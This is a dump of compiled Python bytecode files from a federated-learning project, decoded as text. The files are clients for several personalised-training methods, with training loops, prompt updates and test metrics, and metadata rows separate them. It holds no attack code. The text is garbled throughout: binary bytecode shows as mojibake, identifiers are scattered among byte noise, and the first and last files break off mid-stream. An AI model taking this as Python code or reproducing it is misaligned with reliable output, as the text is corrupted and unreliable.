train_slowÚnpÚrandomÚrandintÚrangeÚ enumerateÚtypeÚtoÚdeviceÚbaser Úbalanced_softmax_lossr r Ú zero_gradÚbackwardÚstepr Údetachr r Útrain_time_cost)
r r$ Ú
start_timeÚmax_local_stepsr? Úir% r& ÚrepÚout_gZloss_bsmÚout_pr r* r* r+ r0 s2
zclientROD.trainNc C sº | ¡ }|d kr| j}| ¡ d}d}g }g }t ¡ ��: |D �]"\}}t|ƒtg ƒkrn|d | j¡|d< n | | j¡}| | j¡}| j |¡} | j | ¡}
|
| ¡ ¡} |
¡ | } |t tj
| dd�|k¡ ¡ 7 }||jd 7 }| t | ¡ ¡ ¡ ¡ ¡ | j}
| jdk�r |
d7 }
t| ¡ ¡ ¡ t |
¡ƒ}| jdk�rX|d d …d d…f }| |¡ q>W d ƒ n1 �sz0 Y tj|dd�}tj|dd�}tj||dd�}|||fS )Nr r )Údimr, )ÚaxisÚmicro)Úaverage) Úload_test_datar Úevalr
Úno_gradr8 r9 r: r; r r r@ ÚsumÚargmaxr ÚshapeÚappendÚFÚsoftmaxÚcpuÚnumpyr r r3 ÚarangeÚ concatenater Ú
roc_auc_score)r r Ú
testloaderÚtest_accÚtest_numÚy_probÚy_truer% r& rE rF rG ÚoutputÚncÚlbÚaucr* r* r+ Ú test_metricsB s@ ,zclientROD.test_metrics)N)Ú__name__Ú
__module__Ú __qualname__r r0 rc Ú
__classcell__r* r* r( r+ r s %r Úmeanc C sB | |¡}| d¡ |jd d¡}|| ¡ }tj|| |d�}|S )a} Compute the Balanced Softmax Loss between `logits` and the ground truth `labels`.
Args:
labels: A int tensor of size [batch].
logits: A float tensor of size [batch, no_of_classes].
sample_per_class: A int tensor of size [no of classes].
reduction: string. One of "none", "mean", "sum"
Returns:
loss: A float tensor. Balanced Softmax Loss.
r éÿÿÿÿ)ÚinputÚtargetÚ reduction)Útype_asÚ unsqueezeÚexpandrQ ÚlogrS Ú
cross_entropy)ÚlabelsÚlogitsr rl Zspcr r* r* r+ r< n s
r< )rh )r r
Útorch.nnr
rV r3 r/ Úflcore.clients.clientbaser Útorch.nn.functionalÚ
functionalrS Úsklearn.preprocessingr Úsklearnr r r< r* r* r* r+ Ú<module> s b | 3,780 | Python | .py | 38 | 97.210526 | 523 | 0.456708 | hkgdifyu/pFedPT | 8 | 3 | 0 | GPL-2.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,648 | clientmtlpt.cpython-38.pyc | hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientmtlpt.cpython-38.pyc | U
GçýcÓ ã @ s| d dl Z d dlmZ d dlmZ d dlZd dlZd dlZd dl Z d dl Z d dl
m Z d dl m
Z
G dd„ deƒZdd„ ZdS ) é N)ÚClient)Úlabel_binarize)Úmetricsc s< e Zd Z‡ fdd„Zdd„ Zdd„ Zdd„ Zd d
„ Z‡ ZS ) Ú clientMTLPTc s¨ t ƒ j||||f|Ž d | _d | _d| _|j| _d| _t ¡ | _ t
j | j
j ¡ | jdœg¡| _|j| _t
j j | j
j ¡ |j|jd�| _t
j jj| j| j|jd�| _d S )Nr g-C ëâ6?)ÚparamsÚlr)r Úmomentum)Ú step_sizeÚgamma)ÚsuperÚ__init__ÚomegaÚW_globÚidxÚitkÚlambaÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚbaseÚ
parametersÚ
learning_rateÚ optimizerÚ plocal_stepsÚ generatorÚpt_learning_rater Ú
poptimizerÚ lr_schedulerÚStepLRÚlearning_decayÚ scheduler)ÚselfÚargsÚidÚ
train_samplesÚ test_samplesÚkwargs©Ú __class__© õY D:\京东\promot\第二次投稿\实验\native - pro\system\flcore\clients\clientmtlpt.pyr
s"
ÿÿÿzclientMTLPT.__init__c C s` | ¡ }t ¡ }t | jj¡}| j | j¡ | j ¡ | jj
¡ D ]
}d|_ qB| jj
¡ D ]
}d|_ qZt | j
ƒD ]´}t|ƒD ]¦\}\}}t|ƒtg ƒkr®|d | j¡|d< n | | j¡}| | j¡}| jræt dt tj ¡ ¡ ¡ | j ¡ | |¡} | | |¡}
|
¡ | j ¡ | j ¡ q|qp| j } | j�rFtj d| d ¡} | jj
¡ D ] }d|_ �qR| jj
¡ D ] }d|_ �qlt | ƒD �]2}|D �]$\}}t|ƒtg ƒk�r¾|d | j¡|d< n | | j¡}| | j¡}| j�røt dt tj ¡ ¡ ¡ | j ¡ | |¡} | | |¡}
t | jƒ| j d d …| j!f< d} | | j "¡ d 7 } | t# $t# $| j | j% d¡d ¡7 } t&t' (| j j)d ¡d ƒd }
| d|
9 } |
| 7 }
|
¡ | j ¡ �qŒ�q‚| j *¡ d | _%d | _ t | jj¡}d}t+|
¡ |
¡ ƒD ]<\}}|| }t# ,|dk|t# -|¡| ¡}|t# $|¡ }�qò| j.d d7 < | j.d t ¡ | 7 < |S )
NFTr gš™™™™™¹?é é é
Ú
num_roundsÚ
total_cost)/Úload_train_dataÚtimeÚcopyÚdeepcopyr r ÚtoÚdeviceÚtrainr r Ú
requires_gradÚranger Ú enumerateÚtypeÚ
train_slowÚsleepÚnpÚabsÚrandomÚrandr Ú zero_gradr ÚbackwardÚstepr$ Ú local_stepsÚrandintr Úflattenr r Únormr Úsumr
ÚintÚmathÚlog10ÚshapeÚcpuÚzipÚwhereÚ
zeros_likeÚtrain_time_cost)r% Ú trainloaderÚ
start_timeÚ
old_promptÚparamrG ÚiÚxÚyÚoutputr Úmax_local_stepsÚloss_regularizerÚfÚ
new_promptÚ
diff_provalueÚ new_paramÚ old_paramÚdiff_pror- r- r. r: # s|
"
zclientMTLPT.trainc C s* t |d d ¡| _t |¡| _|| _d S )Nr )r Úsqrtr
r6 r7 r r )r% r r
r r- r- r. Úreceive_valuess s zclientMTLPT.receive_valuesc C s2 t |j ¡ | jj ¡ ƒD ]\}}|j ¡ |_qd S )N)rR r r r ÚdataÚclone)r% r rc rd r- r- r. Úset_parametersw s zclientMTLPT.set_parametersc C sv | ¡ }| j | j¡ | j ¡ d}d}d}g }g }t ¡ �ò |D ]æ\}}t|ƒtg ƒkrp|d | j¡|d< n | | j¡}| | j¡}| |¡} | j |¡}
|t tj
| dd�|k¡ ¡ 7 }|t tj
|
dd�|k¡ ¡ 7 }||j d 7 }|
| ¡ ¡ ¡ ¡ |
t| ¡ ¡ ¡ t | j¡d�¡ qBW 5 Q R X | j ¡ tj|dd�}tj|dd�}tj||dd�} |||| fS )Nr r/ )Údim)Úclasses)ÚaxisÚmicro)Úaverage)Úload_test_datar r8 r9 Úevalr Úno_gradr> r rL ÚargmaxÚitemrP ÚappendÚdetachrQ Únumpyr rA ÚarangeÚ num_classesÚ concatenater Ú
roc_auc_score) r% ÚtestloaderfullÚtest_accÚ test_acc2Útest_numÚy_probÚy_truer[ r\ r] Úoutput2Úaucr- r- r. Ú test_metrics{ s4
2
zclientMTLPT.test_metrics) Ú__name__Ú
__module__Ú __qualname__r r: rg rj r„ Ú
__classcell__r- r- r+ r. r s
Pr c s, | ¡ ‰ ˆ ¡ }‡ fdd„|D ƒ}t |¡S )Nc s g | ]}ˆ | ¡ ‘qS r- )rJ )Ú.0Úkey©Ú
state_dictr- r. Ú
<listcomp>¦ s zflatten.<locals>.<listcomp>)rŒ Úkeysr Úcat)r rŽ ÚWr- r‹ r. rJ £ s rJ )r Útorch.nnr Úflcore.clients.clientbaser rw rA r5 rN r6 Úsklearn.preprocessingr Úsklearnr r rJ r- r- r- r. Ú<module> s | 4,639 | Python | .py | 54 | 84.703704 | 653 | 0.41147 | hkgdifyu/pFedPT | 8 | 3 | 0 | GPL-2.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,649 | clientper.cpython-38.pyc | hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientper.cpython-38.pyc | U
”jfc€ ã @ sL d dl Z d dlZd dlmZ d dlZd dlZd dlmZ G dd„ deƒZ dS )é N)ÚClientc s, e Zd Z‡ fdd„Zdd„ Zdd„ Z‡ ZS )Ú clientPerc s> t ƒ j||||f|� t ¡ | _tjj| j ¡ | j
d�| _ d S )N)Úlr) ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚ
parametersÚ
learning_rateÚ optimizer)ÚselfÚargsÚidÚ
train_samplesÚ test_samplesÚkwargs©Ú __class__© õK D:\京东\promot\cifar\cifar\Cifar10_iid\system\flcore\clients\clientper.pyr
s
zclientPer.__init__c
C s4 | ¡ }t ¡ }| j | j¡ | j ¡ | j}| jrFtj
d|d ¡}t |ƒD ]ª}t |ƒD ]œ\}\}}t
|ƒt
g ƒkrŒ|d | j¡|d< n | | j¡}| | j¡}| jrÄt dt tj ¡ ¡ ¡ | j ¡ | |¡}| ||¡} | ¡ | j ¡ qZqN| j ¡ | jd d7 < | jd t ¡ | 7 < d S )Né é r gš™™™™™¹?Ú
num_roundsÚ
total_cost)Úload_train_dataÚtimer
ÚtoÚdeviceÚtrainÚ local_stepsÚ
train_slowÚnpÚrandomÚrandintÚrangeÚ enumerateÚtypeÚsleepÚabsÚrandr Ú zero_gradr ÚbackwardÚstepÚcpuÚtrain_time_cost)
r Ú trainloaderÚ
start_timeÚmax_local_stepsr1 ÚiÚxÚyÚoutputr r r r r# s.
zclientPer.trainc C s0 t | ¡ | jj ¡ ƒD ]\}}|j ¡ |_qd S )N)Úzipr r
ÚbaseÚdataÚclone)r r
Ú new_paramÚ old_paramr r r Úset_parameters0 s zclientPer.set_parameters)Ú__name__Ú
__module__Ú __qualname__r r# rA Ú
__classcell__r r r r r s r )
Úcopyr
Útorch.nnr Únumpyr& r Úflcore.clients.clientbaser r r r r r Ú<module> s | 1,849 | Python | .py | 20 | 91.3 | 302 | 0.457923 | hkgdifyu/pFedPT | 8 | 3 | 0 | GPL-2.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,650 | clientmtl.cpython-39.pyc | hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientmtl.cpython-39.pyc | a
f¾`c®
ã @ s\ d dl Z d dlmZ d dlmZ d dlZd dlZd dlZd dl Z G dd„ deƒZ
dd„ Z dS )é N)ÚClientc s, e Zd Z‡ fdd„Zdd„ Zdd„ Z‡ ZS )Ú clientMTLc sd t ƒ j||||fi |¤� d | _d | _d| _|j| _d| _t ¡ | _ t
j j | j
¡ | jdd�| _d S )Nr g-C ëâ6?g à?)ÚlrÚmomentum)ÚsuperÚ__init__ÚomegaÚW_globÚidxZitkZlambaÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚ
parametersÚ
learning_rateÚ optimizer)ÚselfÚargsÚidÚ
train_samplesÚ test_samplesÚkwargs©Ú __class__© úr/media/sim812/391e55df-b6f2-4fe9-a920-53434a8506fa/lgh/pdept/PFL-Non-IID-master/system/flcore/clients/clientmtl.pyr s
zclientMTL.__init__c C sª | ¡ }t ¡ }| j ¡ | j}| jr8tj d|d ¡}t |ƒD �]*}|D �] \}}t
|ƒt
g ƒkrz|d | j ¡|d< n | | j ¡}| | j ¡}| jr²t
dt tj ¡ ¡ ¡ | j ¡ | |¡}| ||¡}t| jƒ| jd d …| jf< d} | | j ¡ d 7 } | t t | j| j d¡d ¡7 } tt | jj d ¡d ƒd }
| d|
9 } || 7 }| ¡ | j ¡ qJq@d | _d | _| j d d7 < | j d t ¡ | 7 < d S )Né é r gš™™™™™¹?é
Ú
num_roundsÚ
total_cost)!Úload_train_dataÚtimer ÚtrainÚ local_stepsÚ
train_slowÚnpÚrandomÚrandintÚrangeÚtypeÚtoÚdeviceÚsleepÚabsÚrandr Ú zero_gradr
Úflattenr r
Únormr Úsumr ÚintÚmathÚlog10ÚshapeÚbackwardÚstepÚtrain_time_cost) r Ú trainloaderÚ
start_timeÚmax_local_stepsr< ÚxÚyÚoutputr
Zloss_regularizerÚfr r r r& s<
" zclientMTL.trainc C s* t |d d ¡| _t |¡| _|| _d S )Nr )r Úsqrtr ÚcopyÚdeepcopyr r
)r r r r
r r r Úreceive_valuesH s zclientMTL.receive_values)Ú__name__Ú
__module__Ú __qualname__r r& rH Ú
__classcell__r r r r r
s 1r c s, | ¡ ‰ ˆ ¡ }‡ fdd„|D ƒ}t |¡S )Nc s g | ]}ˆ | ¡ ‘qS r )r4 )Ú.0Úkey©Ú
state_dictr r Ú
<listcomp>Q ó zflatten.<locals>.<listcomp>)rP Úkeysr Úcat)r rS ÚWr rO r r4 N s r4 ) r Útorch.nnr Úflcore.clients.clientbaser Únumpyr) r% r8 rF r r4 r r r r Ú<module> s D | 2,536 | Python | .py | 26 | 96.461538 | 274 | 0.430506 | hkgdifyu/pFedPT | 8 | 3 | 0 | GPL-2.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,651 | clientperpt.cpython-38.pyc | hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientperpt.cpython-38.pyc | U
aÿcP ã @ sl d dl Z d dlZd dlmZ d dlZd dlZd dlmZ d dl Z d dl m
Z
d dl m Z G dd„ deƒZ
dS )é N)ÚClient)Úlabel_binarize)Úmetricsc s4 e Zd Z‡ fdd„Zdd„ Zdd„ Zdd„ Z‡ ZS ) Ú clientPerPTc sš t ƒ j||||f|� t ¡ | _tj | jj
¡ | j dœ| jj
¡ | j dœg¡| _
|j| _tjj| jj
¡ |j|jd�| _tjjj| j| j|jd�| _d S )N)ÚparamsÚlr)r Úmomentum)Ú step_sizeÚgamma)ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚbaseÚ
parametersÚ
learning_rateÚ predictorÚ optimizerÚ plocal_stepsÚ generatorÚpt_learning_rater Ú
poptimizerÚ lr_schedulerÚStepLRÚlearning_decayÚ scheduler)ÚselfÚargsÚidÚ
train_samplesÚ test_samplesÚkwargs©Ú __class__© õc D:\京东\promot\第二次投稿\å®�验\æœ�务器\native - pro\system\flcore\clients\clientperpt.pyr s
ş ÿzclientPerPT.__init__c C s0 | ¡ }t ¡ }t | jj¡}| j | j¡ | j ¡ | jj
¡ D ]
}d|_ qB| jj
¡ D ]
}d|_ qZ| jj
¡ D ]
}d|_ qrt
| jƒD ]´}t|ƒD ]¦\}\}}t|ƒtg ƒkrÆ|d | j¡|d< n | | j¡}| | j¡}| jrşt dt tj ¡ ¡ ¡ | j ¡ | |¡} | | |¡}
|
¡ | j ¡ | j ¡ q”qˆ| j } | j�r^tj d| d ¡} | jj
¡ D ] }d|_ �qj| jj
¡ D ] }d|_ �q„| jj
¡ D ] }d|_ �q�t
| ƒD ]²}t|ƒD ]¢\}\}}t|ƒtg ƒk�rô|d | j¡|d< n | | j¡}| | j¡}| j�r.t dt tj ¡ ¡ ¡ | j ¡ | |¡} | | |¡}
|
¡ | j ¡ �qÀ�q´| j ¡ t | jj¡} d}
| j!d d7 < | j!d t ¡ | 7 < t"|
¡ |
¡ ƒD ]<\}}|| }t# $|dk|t# %|¡| ¡}|
t# &|¡ }
�qÂ| j!d d7 < | j!d t ¡ | 7 < |
S ) NFTr gš™™™™™¹?é é Ú
num_roundsÚ
total_cost)'Úload_train_dataÚtimeÚcopyÚdeepcopyr r ÚtoÚdeviceÚtrainr r Ú
requires_gradr Úranger Ú enumerateÚtypeÚ
train_slowÚsleepÚnpÚabsÚrandomÚrandr Ú zero_gradr ÚbackwardÚstepr Ú local_stepsÚrandintr ÚcpuÚtrain_time_costÚzipr ÚwhereÚ
zeros_likeÚsum)r! Ú trainloaderÚ
start_timeÚ
old_promptÚparamrB ÚiÚxÚyÚoutputr Úmax_local_stepsÚ
new_promptÚ
diff_provalueÚ new_paramÚ old_paramÚdiff_pror) r) r* r5 sv
zclientPerPT.trainc C s2 t |j ¡ | jj ¡ ƒD ]\}}|j ¡ |_qd S )N)rG r r r ÚdataÚclone)r! r rV rW r) r) r* Úset_parameters^ s zclientPerPT.set_parametersc C s~ | ¡ }| j | j¡ | j ¡ d}d}d}g }g }t ¡ �ú |D ]î\}}t|ƒtg ƒkrp|d | j¡|d< n | | j¡}| | j¡}| |¡} | j | j |¡¡}
|t
tj | dd�|k¡ ¡ 7 }|t
tj |
dd�|k¡ ¡ 7 }||j
d 7 }| | ¡ ¡ ¡ ¡ | t| ¡ ¡ ¡ t | j¡d�¡ qBW 5 Q R X | j ¡ tj|dd�}tj|dd�}tj||dd�} |||| fS )Nr r+ )Údim)Úclasses)ÚaxisÚmicro)Úaverage)Úload_test_datar r3 r4 Úevalr Úno_gradr9 r r rJ ÚargmaxÚitemÚshapeÚappendÚdetachrE Únumpyr r< ÚarangeÚ num_classesÚ concatenater Ú
roc_auc_score) r! ÚtestloaderfullÚtest_accÚ test_acc2Útest_numÚy_probÚy_truerP rQ rR Úoutput2Úaucr) r) r* Ú test_metricsa s4
2
zclientPerPT.test_metrics)Ú__name__Ú
__module__Ú __qualname__r r5 r[ rv Ú
__classcell__r) r) r' r* r
s Br )r1 r Útorch.nnr
ri r< r0 Úflcore.clients.clientbaser Úsklearn.preprocessingr Úsklearnr r r) r) r) r* Ú<module> s | 3,900 | Python | .py | 52 | 73.557692 | 558 | 0.423227 | hkgdifyu/pFedPT | 8 | 3 | 0 | GPL-2.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,652 | clientproxpt.cpython-38.pyc | hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientproxpt.cpython-38.pyc | U
Ñıc ã @ sx d dl Z d dlZd dlZd dlZd dlmZ d dlmZ d dl m
Z
d dlZd dl m Z d dl
mZ G dd„ de
ƒZdS )é N)ÚPerturbedGradientDescent)ÚClient)Úlabel_binarize)Úmetricsc s4 e Zd Z‡ fdd„Zdd„ Zdd„ Zdd„ Z‡ ZS ) Ú clientProxPTc sª t ƒ j||||f|� |j| _t t| jj ¡ ƒ¡| _ t
¡ | _ t
| jj ¡ | jdœg| jd�| _|j| _tjj| jj ¡ |j|jd�| _tjjj| j| j|jd�| _d S )N)ÚparamsÚlr)Úmu)r Úmomentum)Ú step_sizeÚgamma) ÚsuperÚ__init__r ÚcopyÚdeepcopyÚlistÚmodelÚbaseÚ
parametersÚ
global_paramsÚnnÚCrossEntropyLossÚlossr Ú
learning_rateÚ optimizerÚ plocal_stepsÚtorchÚoptimÚSGDÚ generatorZpt_learning_rater
Ú
poptimizerÚ lr_schedulerÚStepLRZlearning_decayÚ scheduler)ÚselfÚargsÚidÚ
train_samplesÚ test_samplesÚkwargs©Ú __class__© õZ D:\京东\promot\第二次投稿\å®�验\native - pro\system\flcore\clients\clientproxpt.pyr
s
ÿıÿÿzclientProxPT.__init__c C s° | ¡ }t ¡ }t | jj¡}| j | j¡ | j ¡ | jj
¡ D ]
}d|_ qB| jj
¡ D ]
}d|_ qZt | j
ƒD ]´}t|ƒD ]¦\}\}}t|ƒtg ƒkr®|d | j¡|d< n | | j¡}| | j¡}| jræt dt tj ¡ ¡ ¡ | j ¡ | |¡} | | |¡}
|
¡ | j ¡ | j ¡ q|qp| j } | j�rFtj d| d ¡} | jj
¡ D ] }d|_ �qR| jj
¡ D ] }d|_ �qlt | ƒD ]�}|D ]„\}}t|ƒtg ƒk�rº|d | j¡|d< n | | j¡}| | j¡}| j ¡ | |¡} | | |¡}
|
¡ | j | j | j¡ �qŠ�q‚| j ¡ t | jj¡} d}
t!|
¡ |
¡ ƒD ]<\}}|| }t" #|dk|t" $|¡| ¡}|
t" %|¡ }
�qB| j&d d7 < | j&d t ¡ | 7 < |
S ) NFTr gš™™™™™¹?é é Ú
num_roundsÚ
total_cost)'Úload_train_dataÚtimer r r r ÚtoÚdeviceÚtrainr r Ú
requires_gradÚranger Ú enumerateÚtypeÚ
train_slowÚsleepÚnpÚabsÚrandomÚrandr Ú zero_gradr ÚbackwardÚstepr# Ú local_stepsÚrandintr r ÚcpuÚzipr ÚwhereÚ
zeros_likeÚsumÚtrain_time_cost)r$ Ú trainloaderÚ
start_timeZ
old_promptÚparamrC ÚiÚxÚyÚoutputr Úmax_local_stepsZ
new_promptZ
diff_provalueÚ new_paramÚ old_paramÚdiff_pror, r, r- r6 " sf
zclientProxPT.trainc C sD t |j ¡ | j| jj ¡ ƒD ]"\}}}|j ¡ |_|j ¡ |_q d S )N)rG r r r r ÚdataÚclone)r$ r rT Ú global_paramrN r, r, r- Úset_parametersa s & zclientProxPT.set_parametersc C sv | ¡ }| j | j¡ | j ¡ d}d}d}g }g }t ¡ �ò |D ]æ\}}t|ƒtg ƒkrp|d | j¡|d< n | | j¡}| | j¡}| |¡} | j |¡}
|t tj
| dd�|k¡ ¡ 7 }|t tj
|
dd�|k¡ ¡ 7 }||j d 7 }|
| ¡ ¡ ¡ ¡ |
t| ¡ ¡ ¡ t | j¡d�¡ qBW 5 Q R X | j ¡ tj|dd�}tj|dd�}tj||dd�} |||| fS )Nr r. )Údim)Úclasses)ÚaxisÚmicro)Úaverage)Úload_test_datar r4 r5 Úevalr Úno_gradr: r rJ ÚargmaxÚitemÚshapeÚappendÚdetachrF Únumpyr r= ÚarangeÚ num_classesÚ concatenater Ú
roc_auc_score) r$ ÚtestloaderfullÚtest_accÚ test_acc2Útest_numÚy_probÚy_truerP rQ rR Úoutput2Úaucr, r, r- Ú test_metricse s4
2
zclientProxPT.test_metrics)Ú__name__Ú
__module__Ú __qualname__r r6 rZ ru Ú
__classcell__r, r, r* r- r s ?r )r rh r= r3 r Útorch.nnr Ú flcore.optimizers.fedoptimizerr Úflcore.clients.clientbaser Úsklearn.preprocessingr Úsklearnr r r, r, r, r- Ú<module> s | 3,919 | Python | .py | 47 | 82.085106 | 553 | 0.437387 | hkgdifyu/pFedPT | 8 | 3 | 0 | GPL-2.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,653 | clientproto.cpython-38.pyc | hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientproto.cpython-38.pyc | U
”jfc
ã @ s` d dl mZ d dlZd dlZd dlmZ d dlZd dlZd dl m
Z
G dd„ de
ƒZ dd„ Z dS )é )Ú defaultdictN)ÚClientc s> e Zd Z‡ fdd„Zdd„ Zdd„ Zdd„ Zd d
d „Z‡ ZS )
Ú clientProtoc sx t ƒ j||||f|� t ¡ | _tjj| j ¡ | j
d�| _ t | jj
¡ ƒd jd | _d | _d | _t ¡ | _|j| _d S )N)Úlrr é )ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚ
parametersÚ
learning_rateÚ optimizerÚlistÚ predictorÚshapeZ feature_dimÚprotosÚ
global_protosÚMSELossÚloss_mseÚlamda)ÚselfÚargsÚidÚ
train_samplesÚ test_samplesÚkwargs©Ú __class__© õM D:\京东\promot\cifar\cifar\Cifar10_iid\system\flcore\clients\clientproto.pyr s
zclientProto.__init__c C sô | ¡ }t ¡ }| j | j¡ | j ¡ | j}| jrFtj
d|d ¡}t t ƒ}t
|ƒD �]V}t|ƒD �]F\}\}}t|ƒtg ƒkr˜|d | j¡|d< n | | j¡}| | j¡}| jrĞt dt tj ¡ ¡ ¡ | j ¡ | j |¡} | j | ¡}
| |
|¡} | jd k�r^t | ¡} t|ƒD ]*\}}
|
¡ }| j| j | |d d …f< �q | | | | ¡| j 7 } t|ƒD ]2\}}
|
¡ }|| | |d d …f ¡ j ¡ �qf| !¡ | j "¡ qdqV| j #¡ t$|ƒ| _%| j&d d7 < | j&d t ¡ | 7 < d S )Nr é r çš™™™™™¹?Ú
num_roundsÚ
total_cost)'Úload_train_dataÚtimer ÚtoÚdeviceÚtrainÚ local_stepsÚ
train_slowÚnpÚrandomÚrandintr r ÚrangeÚ enumerateÚtypeÚsleepÚabsÚrandr Ú zero_gradÚbaser r r r Ú
zeros_likeÚitemÚdatar r ÚappendÚdetachÚbackwardÚstepÚcpuÚagg_funcr Útrain_time_cost)r Ú trainloaderÚ
start_timeÚmax_local_stepsr rA ÚiÚxÚyÚrepÚoutputr Z proto_newÚyyÚy_cr# r# r$ r- sF
$
zclientProto.trainc C s t |¡| _d S )N)ÚcopyÚdeepcopyr )r r r# r# r$ Ú
set_protosN s zclientProto.set_protosc C s | ¡ }| j | j¡ | j ¡ ttƒ}t ¡ �Ê t |ƒD ]º\}\}}t
|ƒt
g ƒkrl|d | j¡|d< n | | j¡}| | j¡}| j r¤t
dt tj ¡ ¡ ¡ | j ¡ | j |¡}t |ƒD ]0\}}| ¡ }|| ||d d …f ¡ j¡ qÂq:W 5 Q R X t|ƒ| _| j ¡ d S )Nr r& ) r) r r+ r, Úevalr r r Úno_gradr4 r5 r/ r* r6 r0 r7 r1 r8 r r9 r: r< r> r? r= rC r rB ) r rE r rH rI rJ rK rM rN r# r# r$ Úcollect_protosQ s&
.
zclientProto.collect_protosNc
C s@ | ¡ }|d kr| j}| j | j¡ | ¡ d}d}t ¡ �ê |D ]Ş\}}t|ƒtg ƒkrp|d | j¡|d< n | | j¡}| | j¡}| j |¡}t dƒt
|j d | j ¡ | j¡ }t
|ƒD ]0\} }
| j ¡ D ] \} } | |
| ¡|| | f< qÒqÀ|t tj|dd�|k¡ ¡ 7 }||j d 7 }qBW 5 Q R X | j ¡ ||dfS )Nr Úinfr )Údim)Úload_test_datar r+ r, rR r rS r5 r: ÚfloatÚonesr Ú num_classesr4 r Úitemsr ÚsumÚargminr< rB )
r r Ú
testloaderÚtest_accÚtest_numrI rJ rK rL rH ÚrÚjÚpror# r# r$ Ú test_metricsj s,
$
zclientProto.test_metrics)N) Ú__name__Ú
__module__Ú __qualname__r r- rQ rT rd Ú
__classcell__r# r# r! r$ r s
3r c C sb | ¡ D ]T\}}t|ƒdkrPd|d j }|D ]}||j7 }q.|t|ƒ | |< q|d | |< q| S )z-
Returns the average of the weights.
r r )r[ Úlenr= )r ÚlabelÚ
proto_listÚprotorH r# r# r$ rC ‰ s rC )
Ú collectionsr rO r Útorch.nnr Únumpyr0 r* Úflcore.clients.clientbaser r rC r# r# r# r$ Ú<module> s ~ | 3,997 | Python | .py | 41 | 96.195122 | 455 | 0.392974 | hkgdifyu/pFedPT | 8 | 3 | 0 | GPL-2.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,654 | clientfomo.cpython-37.pyc | hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientfomo.cpython-37.pyc | B
t fcà ã @ sd d dl Z d dlmZ d dlZd dlZd dlZd dlmZ d dl m
Z
d dl m Z G dd„ deƒZ
dS )é N)ÚClient)Ú
DataLoader)Úread_client_datac sn e Zd Z‡ fdd„Zdd„ Zddd„Zdd „ Zd
d „ Zd d
„ Zdd„ Z dd„ Z
dd„ Z dd„ Z dd„ Z
‡ ZS )Ú
clientFomoc sŒ t ƒ j||||f|� |j| _t | j¡| _g | _g | _t j
| j| j d�| _ t
¡ | _t jj| j ¡ | jd�| _d| _| jd| j | _d S )N)Údevice)Úlrgš™™™™™É?é )ÚsuperÚ__init__Ú num_clientsÚcopyÚdeepcopyÚmodelÚ old_modelÚ received_idsÚreceived_modelsÚtorchÚzerosr Ú
weight_vectorÚnnÚCrossEntropyLossÚlossÚoptimÚSGDÚ
parametersÚ
learning_rateÚ optimizerÚ val_ratioÚ
train_samples)ÚselfÚargsÚidr Ú test_samplesÚkwargs)Ú __class__© úG/root/autodl-tmp/PFL-Non-IID-master/system/flcore/clients/clientfomo.pyr
s
zclientFomo.__init__c
C sR | ¡ \}}t ¡ }| |¡ | | j| j¡ | j | j¡ | j ¡ | j }| j
rdt j
d|d ¡}x²t|ƒD ]¦}x |D ]˜\}}t|ƒtg ƒkr¦|d | j¡|d< n | | j¡}| | j¡}| j
rŞt dt t j ¡ ¡ ¡ | j ¡ | |¡}| ||¡} | ¡ | j ¡ qxW qnW | j ¡ | jd d7 < | jd t ¡ | 7 < d S )Nr é r gš™™™™™¹?Ú
num_roundsÚ
total_cost)Úload_train_dataÚtimeÚaggregate_parametersÚ clone_modelr r Útor ÚtrainÚ local_stepsÚ
train_slowÚnpÚrandomÚrandintÚrangeÚtypeÚsleepÚabsÚrandr Ú zero_gradr ÚbackwardÚstepÚcpuÚtrain_time_cost)
r Ú trainloaderÚ
val_loaderÚ
start_timeÚmax_local_stepsr< ÚxÚyÚoutputr r% r% r& r/ s2
zclientFomo.trainNc C sz |d kr| j }t| j| jdd�}t| jt|ƒ ƒ }||d … }|d |… }t|| j ddd�}t|| j | jdd�}||fS )NT)Úis_train)Ú drop_lastÚshuffle) Ú
batch_sizer Údatasetr! Úintr Úlenr Ú
has_BatchNorm)r rI Ú
train_dataÚval_idxZval_datar? r@ r% r% r& r* ? s zclientFomo.load_train_datac C sÄ | ¡ \}}| j | j¡ | j ¡ d}d}x„|D ]|\}}t|ƒtg ƒkr`|d | j¡|d< n | | j¡}| | j¡}| |¡}||jd 7 }|| ||¡ ¡ |jd 7 }q2W | j ¡ ||fS )Nr )
r* r r. r Úevalr6 Úshaper Úitemr= )r r? r@ Ú train_numr rC rD rE r% r% r& Ú
train_metricsL s
"
zclientFomo.train_metricsc C s || _ || _d S )N)r r )r ÚidsÚmodelsr% r% r& Úreceive_modelsc s zclientFomo.receive_modelsc C s� g }| | j|¡}xv| jD ]l}g }x4t| ¡ | j ¡ ƒD ] \}}| || d¡¡ q8W t |¡}| || ||¡ t |¡d ¡ qW |
|¡ t |¡S )Néÿÿÿÿgñh㈵øä>) Úrecalculate_lossr r Úzipr ÚappendÚviewr ÚcatÚnormÚweight_vector_updateÚtensor)r r@ Ú weight_listÚLÚreceived_modelZ
params_difZparam_nZparam_ir% r% r& Ú
weight_calg s
(
zclientFomo.weight_calc C sX t | j¡| _x.t|| jƒD ] \}}| j| | ¡ 7 < q W t | j¡ | j
